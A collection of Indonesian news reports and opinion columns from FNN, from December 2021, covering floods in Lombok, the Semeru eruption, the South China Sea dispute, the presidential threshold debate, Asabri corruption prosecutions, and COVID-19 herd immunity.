Mataram, FNN - Kepolisian Daerah (Polda) Nusa Tenggara Barat mendirikan dapur umum di lokasi terdampak banjir yang berada di wilayah Kabupaten Lombok Barat. Kepala Biro Logistik Polda NTB Komisaris Besar Polisi Benny Basir Warmansyah melalui keterangan pers yang diterima di Mataram, Senin (6/12) malam menyatakan pihaknya mendirikan dapur umum ini sebagai wujud kemanusiaan dalam penanggulangan bencana alam. "Kami memang diperintah oleh Kapolda untuk terjun langsung membantu warga sesuai dengan kemampuan masing-masing, karena kami di Polda NTB bagian logistik maka yang kami keluarkan untuk membantu warga berupa bahan makanan dan kebutuhan lain terkait logistik," katanya. Dapur umum tersebut, kata dia, menyediakan logistik dalam bentuk makanan siap saji, khusus untuk warga terdampak banjir di Kecamatan Gunungsari dan Batulayar. Logistik juga disiapkan untuk petugas evakuasi dan penanggulangan bencana. Peralatan masak beserta personel telah tersedia, di mana sejak didirikan pada Senin (6/12) siang pihaknya telah membagikan 1.000 bungkus nasi. Dari upaya ini pihaknya berharap masyarakat dapat terbantu. Utamanya terkait kebutuhan pangan di tengah bencana banjir yang melanda akibat hujan lebat sejak Minggu (5/12) sore itu. "Meskipun ini tidak seberapa, kami harap bantuan yang kami bawa ini dapat bermanfaat untuk mereka yang kesulitan," katanya. Banjir yang melanda dua kecamatan di Kabupaten Lombok Barat pada Senin (6/12) pagi ini menjadi gambaran dari sebagian wilayah yang terkena dampak banjir akibat hujan dengan intensitas curah hujan tinggi sejak Minggu (5/12) sore, di NTB. Sementara itu untuk korban jiwa akibat banjir muncul di wilayah lain, yakni di Kecamatan Batulayar. Pemerintah melalui tim pencarian dan pertolongan, mendeteksi korban jiwa sebanyak empat orang dari Desa Batulayar Barat. Keempatnya diduga korban yang terseret banjir dan ada juga yang meninggal dunia karena tertimbun longsor. Selain Kabupaten Lombok Barat, bencana akibat hujan lebat yang terjadi menjelang tutup tahun ini terjadi juga di wilayah lainnya. Bukan hanya banjir, longsor di kawasan perbukitan dan pegunungan serta gelombang tinggi di kawasan pesisir pantai juga terjadi. Wilayah yang dilanda bencana dimaksud pada hari Senin (6/12) terpantau di Kota Mataram dan Kabupaten Lombok Timur. di mana warga yang berada yang berada di ujung Timur Pulau Sumbawa, yakni di Kota Bima juga tak luput menjadi korban bencana. Banjir menggenangi komplek perumahan, kawasan pertokoan, perkantoran, fasilitas umum dan lahan pertanian warga juga terjadi di Kota Bima. Penyebab banjir di Bima diduga akibat hal serupa di Lombok, yakni luapan air sungai yang berasal dari hulu kawasan perbukitan dan saluran drainase yang terputus, demikian Benny Basir Warmansyah. (sws)

Mana Pasar Selasa?

Oleh Ridwan Saidi Ibukota kerajaan Persia Pasargede. Orang Persia laki-laki disebut Ki Gede. Dalam konteks ini gede bukan besar. Pondok Gede dan Bojong Gede hunian orang Persia. Kata pasar dari Pasar Gede. Kalau Pasar Burak di Banten bukan Persia, tapi Iraq. Burak di sini maknanya burung (jenis hewan). Tempat ini pernah menjadi pusat kerajinan burung-burungan dari tanah liat. Kalau ditiup bisa bunyi. Sampai dengan 1950-an di Jakarta masih dijajakan. Pasar Senen (artinya permulaan, bahasa Swahili) di Jakarta Pusat, Pasar Rébo (artinya meriah, bahasa Swahili) di Jakarta Timur, Pasar Kemis (artinya belas kasih, bahasa Swahili) di Tangerang, Pasar Jumahat (artinya berkumpul, bahasa Swahili) di Ciputat, Tangerang, Pasar Minggu (hari Santo Dominggo) di Jakarta Selatan. Semua pasar ini berada dalam wilayah budaya Betawi. Selasa (artinya gelap, bahasa Swahili) tidak hari pasar, dan Sabtu (Sabat) juga tidak hari pasar. Kedua hari ini dipantang untuk transaksi. Pantangan pada suatu waktu tak bisa berjalan karena pertambahan populasi dan perkembangan ekonomi. Akhirnya pasar dibuka tiap hari dengan jam buka berbeda: 1. Boker, pagi-pagi sekali 04.00 s/d 07.00 2. Pagi 07.00 s/d 10.00 3. Ciplak sekitar pukul 10.00 s/d 13.00. Memang masih ada pasar dengan nama Pasar Boker di Pasar Rébo, Pasar Pagi di Kota, Pasar Ciplak di Sawah Besar dan Jakarta Timur, tapi ini sekadar nama saja. *) Budayawan

Semeru Haru, Semeru Lucu

By M Rizal Fadillah Erupsi Gunung Semeru 4 Desember 2021 sangat mengejutkan. Viral video orang berlarian baik anak, orang tua maupun aparat, sementara di belakang membumbung asap hitam letusan. Guguran lava pijar disertai abu vulkanik. Sebanyak 8 Desa di kabupaten Lumajang Jawa Timur terdampak, 22 orang tewas, 56 luka-luka, 9 orang dalam pencarian. Sementara 1300 orang mengungsi. Bantuan kemanusiaan terus digalang. Banyak korban tentu mengharukan demikian juga dengan masyarakat sekitar yang panik mencari keselamatan. Kadang lupa pada tetangga bahkan keluarga. Dalam video terlihat seorang ibu yang wajahnya hitam di penuhi debu sehingga sulit dikenali berupaya mengevakuasi diri. Ia membawa jas hujan yang ternyata di baliknya adalah puteranya. Menyelamatkan sang putera dengan menyembunyikan di balik jas hujan. Di tengah keharuan terselip cerita lucu. Ini berkaitan dengan mantan Walikota Surabaya Tri Rismaharini. Dalam kunjungan ke Lumajang, Ibu Mensos ini melihat gundukan tanah di jalan. Lalu ia mencoba mengais gundukan tanah itu untuk menutupi jalan yang digenangi air. Lucunya ia mengurug dengan tangan kosong, tanpa pacul atau alat lainnya. Warganet tentu mencibir adegan pencitraan ini. Mungkin 5 tahun mengurug juga tidak selesai bila dengan tangan kosong seperti itu. Bukan Risma jika tiada "akting" dalam momen "penting". Soal wajah cemberut tentu tak terlihat, tertutup masker, walau untungnya pada video itu Bu Risma tidak nampak marah-marah apalagi sampai keluar kata "saya tembak kamu". Staf Mensos membantu mengais walau dengan alat yang seadanya. Gunung Semeru telah berkali-kali meletus pertama tahun 1818, lalu tahun 1994, 2002, 2020, dan terakhir kemarin 4 Desember 2021. Puncak Gunung adalah Mahameru dengan kawah "Jonggring Seloko" di sebelah tenggara puncak. Bertipe vulkanian dan strombolian. Strombolian artinya erupsi yang bersifat eksplosif melontarkan batu pijar karena ada tekanan dari dalam kawah. Sifat lava lebih cair. Jonggring Seloko dalam pewayangan adalah kahyangan tempat para dewa bersemayam. Bathara Guru dan penasehatnya Bhatara Narada. Saat kahyangan digempur habis oleh pasukan raksasa pimpinan Kala Pracona, Bhatara Narada melempar Tetuko ke padang pasir. Bayi yang disiapkan melawan para raksasa. Setelah dilempar ke kawah Chandradimuko, Tetuko menjadi pemuda gagah Gatotkaca yang berhasil mengalahkan pasukan raksasa Gilingwesi tersebut. Kala Pracona terbunuh. Para dewa gembira dan bidadari dewi-dewi melempar bunga kebahagiaan. Risma yang dengan tangan kosong mengais dan melempar tanah pasir untuk mengurug jalan tentu bukan sedang pamer kesaktian sebagaimana Bhatara Narada melempar Tetuko ke padang pasir panas atau Tetuko yang dilempar ke kawah Candradimuko atau bidadari dewi-dewi yang melempar kembang kebahagiaan. Yang jelas Risma sedang melempar dan pamer pencitraan. Membuat sensasi kelucuan di tengah musibah erupsi gunung Semeru yang memilukan dan mengharukan. Entah peran Risma bidadari atau raseksi Gilingwesi? *) Pemerhati Politik dan Kebangsaan

JAKI Mendorong Masyarakat Global Mewujudkan Resolusi Konflik Laut China Selatan

Oleh Yudi Syamhudi Suyuti Jakarta, FNN - Konflik Laut China Selatan menjadi menjadi salah satu pusat konflik global dunia saat ini yang mengingatkan kita pada persoalan sejarah abad ke 15 saat dimulainya penguasaan jalur ekonomi sebagai lahirnya kekuasaan imperialisme dan kolonialisme dengan didasari perjanjian Tordesillas dan dilanjutkan perjanjian Zaragoza. Meskipun dalam situasi politik global yang berbeda, namun setting sejarah Tordesillas dan Zaragoza memiliki karakteristik yang hampir sama dengan kepentingan dominasi kekuatan hegemoni Laut China Selatan yang berpotensi terjadinya Perang Dunia ke 3. Sejarah hitam dunia kita harapkan jangan sampai terulang kembali. Karena bagaimanapun, Perang Dunia ke 3 akan menghasilkan dominasi baru yang justru merusak tatanan kemanusiaan dan keadilan global. Tentu kita sebagai warga Negara yang berada di wilayah Laut China Selatan dan seluruh warga dunia akan merasakan dampak dari konflik yang semakin memanas hari ini. Konflik Laut China Selatan didasari oleh 2 hal mendasar, yaitu alasan dan konsekwensi. Alasan dan konsekwensi ini meliputi hasil keputusan hukum arbitrase internasional dibawah Konvensi PBB 2016 tentang Hukum laut (UNCLOS) 2016 yang menegaskan bahwa China hanya dapat menghasilkan dari laut territorial 12 mill laut. Penegasan ini didasari keputusan hukum pengadilan yang menyatakan bahwa tidak ada Kepulauan Spratly atau Beting Scarborough yang berhak atas Zona Ekonomi Eksklusif (ZEE) atau landas kontinen mereka sendiri. Oleh karena itu, sebagian besar sumber daya Laut China Selatan dimiliki oleh negara pantai terdekat (Brunei, Indonesia, Malaysia, Filipina, atau Vietnam) yang didasari oleh hukum internasional dan fakta sejarah yang dapat dibuktikan. Namun China memiliki tafsir sendiri tentang Laut China Selatan yang didasari alasan sejarah subyektif, bahwa telah beribu-ribu tahun orang-orang China telah mencari ikan di Laut China Selatan sehingga tafsir sejarah subyektif tersebut menjadikan Laut China Selatan ditetapkan China sebagai Laut Yurisdiksi, yang didasari oleh Hukum Nasional China. Persoalan Laut China Selatan, pada akhirnya menjadi sengketa yang lebih mengedepankan kepentingan hegemoni dan kekuatan untuk kekuatan. Karena hukum dan fakta sejarah menjadi tersingkir, seolah ada kepentingan tertentu untuk menciptakan hukum internasional baru. Sehingga pendekatan yang digunakan adalah pendekatan politik perang dan politik propaganda klaim kebenaran. Untuk mengatasi persoalan konflik Laut China Selatan ini, kami dari JAKI yang merupakan bagian dari Majelis Rakyat Global yang di deklarasikan pada 22 September 2021, menyatakan sikap : 1. Mendorong Perserikatan Bangsa-Bangsa untuk hadir dalam penyelesaian ketegangan laut China Selatan yang berpotensi mendorong terjadinya Perang Dunia ke 3. 2. Laut China Selatan harus dikembalikan pada Hukum Internasional dan Fakta Sejarah Nusantara secara menyeluruh dan konkrit yang legal dengan dilakukan perundingan antara Negara-Negara ASEAN (Brunei Darussalam, Kamboja, Indonesia, Filipina, Malaysia, Singapura, Laos, Myanmar, Thailand, dan Vietnam) ,China, Amerika Serikat, Rusia, Inggris dan Uni Eropa sebagai faktor sejarah Asia Pasifik dengan didasari semangat perdamaian untuk kemanusiaan dan keadilan sosial. 3. Mendesak dibentuknya Pakta Perdamaian Laut China Selatan yang dipimpin ASEAN dengan melibatkan Pemerintah Nasional Negara-Negara ASEAN dan Kelompok Masyarakat Sipil, hal ini didasari oleh Sejarah Nusantara sebagai Konsep Kemaritiman ASEAN. Keterlibatan Pemerintah Negara-Negara dan Kelompok Masyarakat Sipil adalah upaya perwujudan tercapainya titik temu antara kepentingan dari bawah ke atas dan dari atas ke bawah sehingga menjadi ke tengah. 4. Mengajak Majelis Rakyat Global untuk ikut terlibat dalam pencapaian resolusi perdamaian atas ketegangan dan konflik Laut China Selatan dan mendorong dibentuknya Majelis Rakyat Global di Negara-Negara ASEAN, dimana Majelis Rakyat Global Indonesia akan di deklarasikan dalam waktu dekat. 5. Mewujudkan kesepakatan-kesepakatan baru secara adil dan bermartabat antara ASEAN dan China dengan didasari hukum internasional, kedaulatan Negara-negara nasional dan sejarah, dimana kesepakatan-kesepakatan tersebut untuk mewujudkan kesetaraan Bangsa-Bangsa di dunia. Kesepakatan ini juga sekaligus dapat menjadi jalan menyelesaikan konflik Amerika Serikat dan China. 6. Mendorong Perserikatan Bangsa-Bangsa untuk menetapkan UNWCI (UN World Citizen Initiative), UNPA (UN Parliement Assembly) dan Utusan Masyarakat Sipil di dalam Organisasi Perserikatan Bangsa-Bangsa. 7. Kami menekankan untuk Negara-Negara yang mengerahkan kekuatan militernya di wilayah Laut China Selatan untuk menahan diri sampai terselesaikannya masalah Laut China Selatan. 8. Mendesak semua pihak untuk menghentikan tindakan-tindakan pelanggaran hukum internasional. *) Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional)

Sambangi DPD RI, Aktivis Perhimpunan Menemukan Kembali Indonesia Siap Kolaborasi Soal PT 0 Persen

JAKARTA, FNN - Sejumlah aktivis yang tergabung dalam Perhimpunan Menemukan Kembali Indonesia menyambangi DPD RI. Para aktivitas ini dengan tegas menyatakan siap berkolaborasi dengan lembaga yang dipimpin AA LaNyalla Mahmud Mattalitti untuk menyelesaikan sejumlah persoalan bangsa. Utamanya, Presidential Threshold (PT) 0 persen. Para aktivis ditemui oleh Wakil Ketua III Sultan Bachtiar Najamudin didampingi Ketua Komite III Sylviana Murni, Ketua Komite I Fachrul Razi, Wakil Ketua Komite II Bustami Zainuddin, Bambang Sutrisno (Senator Jateng) dan Habib Abdurrahman Bahasyim (Senator Kalsel). Sementara perwakilan aktivis dipimpin Ferry Juliantono serta sejumlah tokoh di antaranya Jumhur Hidayat, Refly Harun, Raslinna Rasidin, Adhie Massardi, Marwan Batubara, Anthony Budiawan, Andrianto, Hendy H, Wahyono, Yos Nggarang, Hersubeno Arief dan Sarman El-Hakim. "Kami sengaja tidak menemui DPR RI, tapi kami menyambangi DPD RI. Kami menilai DPD RI adalah lembaga yang masih bisa dipercaya. Kami berharap bisa berkolaborasi dengan DPD RI," kata Ferry Juliantono pimpinan rombongan Perhimpunan Menemukan Kembali Indonesia di Ruang Delegasi DPD RI Lantai VIII Gedung Nusantara III Komplek Parlemen, Senayan, Senin (6/12/2021). Ferry menambahkan, para aktivis datang untuk menyampaikan hasil dari pertemuan mereka pada peringatan Sumpah Pemuda 28 Oktober 2021 lalu. "Sumpah pemuda itu menyiratkan bahwa Indonesia ini dibangun bersama untuk semua. Tetapi saat ini hasil pembangunan Indonesia tidak untuk semua," kata dia. Hal penting lain yang dipaparkannya adalah, berdasarkan hubungan internasional dan dinamika geopolitik global, Pemerintah Indonesia lebih condong memberi ruang yang begitu besar kepada China. "Konsekuensinya merugikan kita sebagai sebuah bangsa," kata dia. Berikutnya adalah Presidential Threshold 0 persen yang harus didukung bersama. "PT 0 persen adalah sesuatu yang harus kita dukung bersama agar demokrasi kita tidak disabotase oleh oligarki atau kaum yang punya uang," kata dia. Hal lainnya, kata Ferry, kita dapat menyaksikan banyak sekali sikap pemerintah ketika pandemi Covid-19, ketika rakyat banyak yang menderita secara ekonomi dan kesehatan, justru ada pihak yang diduga mengais keuntungan. "Kami mendapati dugaan tindak pidana KKN dalam kasus PCR. Bayangkan, pejabat di kementerian bukannya memberikan kesempatan kepada badan usaha, tapi menjatuhkan pilihan untuk usahanya sendiri," papar dia. Tak hanya itu, Ferry menilai ada pencatutan harga PCR untuk memperkaya diri sendiri dan kelompok. "Di awal-awal pandemi PCR itu sampai Rp2 jutaan. Sekarang meski sudah diturunkan harganya, tetap saja ada selisih keuntungan. Menteri BUMN menyebutkan hal itu ditetapkan dalam Rapat Terbatas bersama Presiden. Ini hal yang perlu kami diskusikan dan sampaikan kepada DPD RI. Ini masalah besar," tegas dia. Aktivis lainnya, Jumhur Hidayat sependapat bahwa kewenangan DPD RI harus diperkuat. "DPD RI kewenangannya harus diperkuat agar bisa membuat undang-undang. Tujuannya agar jangan sampai ada undang-undang yang lolos tanpa persetujuan DPD RI. DPD RI kan tidak terikat partai. Saran saya, lakukan aksi demonstrasi bersama rakyat agar kewenangan itu bisa diperkuat. Jalannya adalah melalui amandemen konstitusi," kata dia. Aktivis lainnya, Refly Harun menyebut ada beberapa jalan untuk memperjuangkan Presidential Threshold 0 persen. Di antaranya adalah melalui jalur legislasi dan mengajukan judicial review ke Mahkamah Konstitusi (MK). "Putusan Omnibus Law membawa optimisme bagi kita Presidential Threshold 0 persen bisa dikabulkan 5 Hakim MK. Mereka berani mengatakan tidak kepada oligarki dan kekuasaan," tutur Refly. Pekan ini, Refly mengaku ia dan rekan-rekannya akan mengajukan judicial review terhadap UU Pemilu, khususnya mengenai Presidential Threshold. "Saya mengajak DPD RI segera bergabung. DPD RI juga bisa menggeruduk Presiden atau menggeruduk DPR RI untuk memperjuangkan hal ini," kata Refly. Sultan Bahtiar Najamuddin yang diutus Ketua DPD RI menemui para aktivis, mengatakan apa yang disampaikan oleh aktivis Perhimpunan Menemukan Kembali Indonesia ini secara keseluruhan selaras dengan apa yang diperjuangkan oleh lembaganya. "Yang disampaikan secara keseluruhan tune-nya itu sama. Demokrasi kita memang sedang berada di persimpangan jalan. Mari kita tinjau ulang demokrasi kita. Ada titik persamaan dari apa yang dipikirkan dengan apa yang diperjuangkan antara Perhimpunan Menemukan Kembali Indonesia dengan DPD RI," kata Sultan. Selama ini, apa yang dipikirkan oleh para aktivis tersebut sudah disuarakan dengan lantang oleh DPD RI. Ia pun selalu berharap resonansi suara mereka dapat menggema seantero negeri, karena memang banyak yang harus diluruskan. "Kalau Perhimpunan Menemukan Kembali Indonesia itu kan ditinjau dari makna nama berarti ada sesuatu yang hilang. Kami di DPD RI menilainya harus ada yang diluruskan. Kita memiliki titik temu yang sama. Ada kesamaan pikiran, perasaan dan gagasan, bahwa ada masalah di konstitusi kita dan harus kita carikan jalan keluarnya," kata Sultan. Ketua Komite III Sylviana Murni menambahkan, berkaitan dengan PCR dalam waktu dekat DPD RI akan menggelar Rapat Dengar Pendapat (RDP). "Pun halnya keputusan terbaru tentang karantina, bagi kami dari tiga hari menjadi sepuluh hari itu keputusan yang mencla-mencle. Itu juga akan kami dalami," tegas dia. Sementara mengenai BLBI, Ketua Komite I DPD RI Fachrul Razi juga menegaskan akan segera membentuk Pansus BLBI. "Kami akan fight mengenai hal ini," ujar Fachrul Razi. (mth))

Lima Terdakwa Korupsi Asabri Dituntut 10-15 Tahun Penjara

Jakarta, FNN - Lima orang terdakwa perkara dugaan korupsi pengelolaan dana PT Asuransi Sosial Angkatan Bersenjata Republik Indonesia (Asabri) Persero dituntut 10 hingga 15 tahun penjara. Empat orang dinyatakan terbukti melakukan tindak pidana korupsi secara bersama-sama dari Pasal 2 ayat (1) atau Pasal 18 UU No. 31 Tahun 1999 sebagaimana telah diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Sedangkan satu orang dinyatakan terbukti melakukan korupsi berdasarkan dakwaan primer Pasal 2 ayat (1) atau Pasal 18 UU No. 31 Tahun 1999 sebagaimana telah diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP dan tindak pidana pencucian uang dari pasal 3 UU RI No 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang. Pertama adalah Dirut PT Asabri 2012-Maret 2016, Mayor Jenderal Purnawirawan Adam Rachmat Damiri dituntut hukuman 10 tahun penjara ditambah denda Rp 750 juta subsider 6 bulan kurungan. "Membebankan terdakwa dengan uang pengganti sebesar Rp 17,9 miliar. Jika terpidana tidak membayar uang pengganti paling lama dalam waktu satu bulan sesudah putusan berkekuatan hukum tetap, maka harta bendanya akan disita oleh kejaksaan dan dilelang untuk menutupi uang pengganti tersebut. Jika terpidana tidak mempunyai harta benda yang mencukupi untuk menutupi uang pengganti tersebut, maka dipidana dengan penjara lima tahun penjara," kata Jaksa Penuntut Umum Kejaksaan Agung di pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 6 Desember 2021. Selanjutnya Direktur Investasi dan Keuangan PT Asabri 2012 - Juni 2014 Bachtiar Effendi dituntut 12 tahun penjara, ditambah denda Rp 750 juta subsider 6 bulan kurungan. "Membebankan terdakwa dengan uang pengganti sebesar Rp 453,7 miliar. Dengan ketentuan jika terpidana tidak membayar uang pengganti paling lama dalam waktu satu bulan sesudah putusan berkekuatan hukum tetap, maka harta bendanya akan disita oleh kejaksaan dan dilelang untuk menutupi uang pengganti tersebut. Namun, jika terpidana tidak mempunyai harta benda yang mencukupi untuk menutupi uang pengganti tersebut, maka dipidana dengan penjara enam tahun," ujar jaksa. Kemudian Dirut PT Eureka Prima Jakarta Tbk (LCGP), Lukman Purnomosidi dituntut 13 tahun penjara ditambah denda Rp 750 juta subsider 6 bulan kurungan. "Membebankan terdakwa dengan uang pengganti sebesar Rp 1,341 triliun. Jika terpidana tidak membayar uang pengganti paling lama dalam waktu satu bulan sesudah putusan berkekuatan hukum tetap, maka harta bendanya akan disita oleh kejaksaan dan dilelang untuk menutupi uang pengganti tersebut. Jika terpidana tidak mempunyai harta benda yang mencukupi untuk menutupi uang pengganti tersebut maka dipidana dengan penjara 6,5 tahun," ujar jaksa. Sedangkan Direktur Investasi dan Keuangan PT Asabri Juli 2014-Agustus 2019, Hari Setianto dituntut 14 tahun penjara ditambah denda Rp 750 juta subsider enam bulan kurungan. Terakhir Direktur PT Jakarta Emiten Investor Relation, Jimmy Sutopo dituntut 15 tahun penjara ditambah denda Rp 750 juta subsider enam bulan kurungan, karena terbukti melakukan korupsi dan tindak pidana pencucian uang. "Membebankan terdakwa dengan uang pengganti sebesar Rp 314,8 miliar. Jka terpidana tidak membayar uang pengganti paling lama dalam waktu satu bulan sesudah putusan berkekuatan hukum tetap, maka harta bendanya akan disita oleh kejaksaan dan dilelang untuk menutupi uang pengganti tersebut. Jika terpidana tidak mempunyai harta benda yang mencukupi untuk menutupi uang pengganti tersebut maka dipidana dengan penjara 7,5 tahun," ucap jaksa. Dua orang terdakwa lain dalam perkara ini telah menjalani sidang pembacaan tuntutan yaitu Direktur Utama (Dirut) PT Asabri Maret 2016-Juli 2020, Letnan Jenderal Purnawirawan Sonny Widjaja. Ia dituntut 10 tahun penjara, ditambah denda Rp 750 juta subsider 6 bulan kurungan dan hukuman uang pengganti sebesar Rp 64,5 miliar subsider 5 tahun penjara. Kemudian Presiden Komisaris PT Trada Alam Minera, Heru Hidayat yang dituntut hukuman mati dan uang pengganti Rp 12,434 triliun. Sedangkan Dirut PT Hanson International Tbk., Benny Tjokrosaputro masih menjalani persidangan. Seluruh perbuatan dugaan korupsi para terdakwa mengakibatkan kerugian negara sebesar Rp 22,788 triliun dari pengelolaan dana PT Asabri (Persero). Sidang pleidoi dijadwalkan pada 13 Desember 2021. (MD).

Koruptor Heru Hidayat Dituntut Hukuman Mati

Jakarta, FNN - Presiden Komisaris PT Trada Alam Minera Heru Hidayat dituntut hukuman mati. Ia dinilai terbukti melakukan korupsi yang mengakibatkan kerugian negara sebesar Rp 22,788 triliun dari pengelolaan dana PT Asabri (Persero) serta pencucian uang. "Menyatakan terdakwa Heru Hidayat terbukti secara sah bersalah melakukan tindak pidana korupsi dengan pemberatan secara bersama-sama dan tindak pidana pencucian uang sebagaimana dalam dakwaan primer dan kedua primer, menghukum terdakwa Heru Hidayat dengan pidana mati," kata Jaksa Penuntut Umum Kejaksaan Agung di Pengadilan Tindak Pidana Korupsi (Tipikor) Jakarta, Senin, 6 Desember 2021. Heru adalah satu dari tujuh terdakwa perkara dugaan korupsi pengelolaan dana PT Asuransi Sosial Angkatan Bersenjata Republik Indonesia (Asabri) Persero yang dijadwalkan menjalani sidang pembacaan tuntutan pada hari ini. Selain dituntut hukuman mati, Heru Hidayat juga diwajibkan membayar pidana pengganti. "Membebankan terdakwa dengan biaya pengganti sebesar Rp 12,643 triliun. Jika terpidana tidak membayar uang pengganti paling lama dalam waktu satu bulan sesudah putusan berkekuatan hukum tetap, maka harta bendanya akan disita oleh kejaksaan dan dilelang untuk menutupi uang pengganti tersebut dan jika terpidana tidak mempunyai harta benda yang mencukupi untuk menutupi uang pengganti tersebut," kata jaksa. Heru dinilai terbukti melakukan perbuatan dalam dua dakwaan, yaitu dakwaan pertama Pasal 2 ayat (1) jo Pasal 18 UU No. 31 Tahun 1999 sebagaimana telah diubah dengan UU No. 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP, dan Pasal 3 UU RI No. 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang.. "Hal yang memberatkan, perbuatan terdakwa termasuk extra ordinary crime yang berbahaya bagi integritas bangsa. Perbuatan terdakwa tidak mendukung program pemerintah yang bersih dan bebas dari korupsi, kolusi dan nepotisme. Akibat perbuatan terdakwa adalah kerugian negara yang mencapai Rp 12,643 triliun, sedangkan penyitaan aset-aset terdakwa hanya Rp 2,434 triliun Terdakwa adalah terpidana seumur hidup perkara Jiwasraya yang merugikan negara Rp 16,807 triliun," ujar jaksa. Jaksa menilai tidak ada hal yang meringankan dalam perbuatan Heru. "Hal yang meringankan, meski dalam persidangan ada hal-hal yang meringankan dalam diri terdakwa, tetapi tidak sebanding dengan kerugian negara yang ditimbulkan dalam perbuatan terdakwa sehingga hal-hal tersebut patut dikesampingkan," kata jaksa. Ada delapan orang terdakwa dalam perkara ini, yaitu Direktur Utama (Dirut) PT Asabri Maret 2016-Juli 2020, Letjen (Purn) Sonny Widjaja; Dirut PT Asabri 2012-Maret 2016, Mayjen (Purn) Adam Rachmat Damiri; Direktur Investasi dan Keuangan PT Asabri Juli 2014-Agustus 2019, Hari Setianto. Kemudian, Dirut PT Eureka Prima Jakarta Tbk (LCGP), Lukman Purnomosidi; Direktur PT Jakarta Emiten Investor Relation, Jimmy Sutopo; Dirut PT Hanson International Tbk. Benny Tjokrosaputro, dan Presiden Komisaris PT Trada Alam Minera, Heru Hidayat. Heru Hidayat dan Benny Tjokrosaputro diketahui merupakan terpidana kasus korupsi PT Asuransi Jiwasraya (Persero). Keduanya divonis penjara seumur hidup. PT. Asabri mendapatkan pendanaan yang berasal dari dana program THT (Tabungan Hari Tua) dan dana Program AIP (Akumulasi Iuran Pensiun) yang bersumber dari iuran peserta Asabri setiap bulan yang dipotong dari gaji pokok TNI, Polri, dan ASN/PNS di Kemenhan sebesar 8 persen. Rinciannya, Dana Pensiun dipotong sebesar 4,75 persen dari gaji pokok, dan untuk Tunjangan Hari Tua (THT) dipotong sebesar 3,25 persen dari gaji pokok. Mantan Kepala Divisi Investasi PT Asabri, Ilham Wardhana (telah meninggal dunia) pada rapat Desember 2012 menyampaikan dalam rapat direksi yang dipimpin Adam Rachmat Damiri, PT Asabri harus berinvestasi di pasar modal dalam bentuk instrumen saham. Jenis saham tersebut termasuk yang sedang bertumbuh atau dikenal dengan "layer" 2 atau "layer" 3 yaitu saham-saham yang mempunyai risiko tinggi. Saham-saham berisiko tinggi itu, antara lain adalah saham LCGP (PT Eureka Prima Jakarta Tbk) sejak Oktober 2012, MYRX (PT Hanson International Tbk) di pasar reguler sejak 4 Oktober 2012, dan SUGI (PT Sugih Energy Tbk). Dalam kurun waktu 2012-2019, Ilham Wardhana Siregar bersama Adam Rachmat Damiri, Bachtiar Effendi, Hari Setianto, Sonny Widjaya telah melakukan pertemuan dan kesepakatan-kesepakatan mengatur penempatan dana PT Asabri. Dana tersebut ditempatkan dalam bentuk investasi saham, reksadana, Medium Term Note (MTN) atau surat utang jangka menengah dan investasi lainnya. Pertemuan itu adalah dengan beberapa pihak pemilik saham yaitu Lukman Purnomosidi, Danny Boestami, Benny Tjokrosaputro, Edward Seky Soeryadjaya, Bety, Lim Angie Christina, Rennier Abdul Rahman Latief, Heru Hidayat, dan 15 manajer investasi lainnya. Sekitar Oktober 2017, Sonny Widjaya dan Hari Setianto melakukan kesepakatan dengan terdakwa Heru Hidayat dan Joko Hartono Tirto. Kesepakatan itu dalam bentuk kerjasama dalam pengelolaan investasi PT Asabri (Persero). Caranya, akan memberikan masukan mengenai saham-saham dan produk reksadana yang bisa dipertimbangkan oleh PT Asabri (Persero) untuk di-subscription atau redemption melalui Joko Hartono Tirto. Kerja sama melalui produk reksadana di antaranya memindahkan saham-saham PT Asabri yang memiliki kinerja tidak baik dan mengalami penurunan harga. Reksa dana-reksa dana itu yang digunakan oleh Heru Hidayat, Ilham Wardhana B Siregar beserta pihak-pihak terafiliasinya dalam pengaturan investasi PT Asabri (Persero). (MD).

Bentuk Kekebalan Kelompok pada Akhir Tahun Kunci Keluar dari Pandemi

Jakarta, FNN - Juru Bicara Pemerintah untuk COVID-19 dan Duta Adaptasi Kebiasaan Baru Reisa Broto Asmoro mengatakan pembentukan kekebalan kelompok (herd immunity) di akhir tahun merupakan kunci bagi Indonesia untuk keluar dari pandemi COVID-19. “Dengan membentuk herd immunity itu merupakan salah satu kunci utama kita bisa keluar dari pandemi. Jadi kalau kita tidak bisa membentuk herd immunity, kita tidak punya kunci untuk keluar dari pandemi,” kata Reisa dalam Siaran Sehat Bersama Dokter Reisa bertajuk Waspada Varian Omicron, Tetap Jaga Protokol Kesehatan yang diikuti secara daring di Jakarta, Senin. Menanggapi risiko capaian vaksinasi tak mencapai target di akhir tahun nanti, dia menjelaskan bahwa kekebalan kelompok harus cepat tercapai supaya bisa melindungi masyarakat yang belum mendapatkan akses vaksin COVID-19. Hal tersebut dikarenakan apabila target vaksinasi yang ditetapkan oleh pemerintah tidak tercapai, maka virus SARS-CoV-2 tersebut akan membuat keadaan menjadi sulit dengan tingkat penyebaran yang lebih luas di suatu lingkungan. “Kalau sampai tidak tercapai, artinya kita tidak mencapai kekebalan kelompok atau herd immunity,” tegas Reisa. Reisa menegaskan untuk membuat virus COVID-19 menjadi lebih lemah atau bahkan teradikasi, program vaksinasi harus terus berjalan dan lebih cepat mengenai semua sasaran guna mencapai target yang ditetapkan oleh pemerintah saat akhir tahu nanti. Dengan mengikuti vaksinasi yang dapat membentuk kekebalan kelompok, tidak hanya dapat membantu melindungi diri sendiri dari berbagai varian COVID-19 termasu Omicron, tetapi juga bagi seluruh orang didunia untuk keluar dari masa pandemi ini. “Kita doakan bersama, kita dukung, kita bantu, bagaimanapun upaya kita supaya vaksinasi bisa mencapai targetnya sesuai harapan bersama. Karena apa yang dilakukan kita untuk mendapatkan perlindungan itu bermanfaat untuk semua orang didunia,” ujar dia. (mth)

Kapolda Sulut Jemput Korban Perdagangan Orang di Bandara Sam Ratulangi

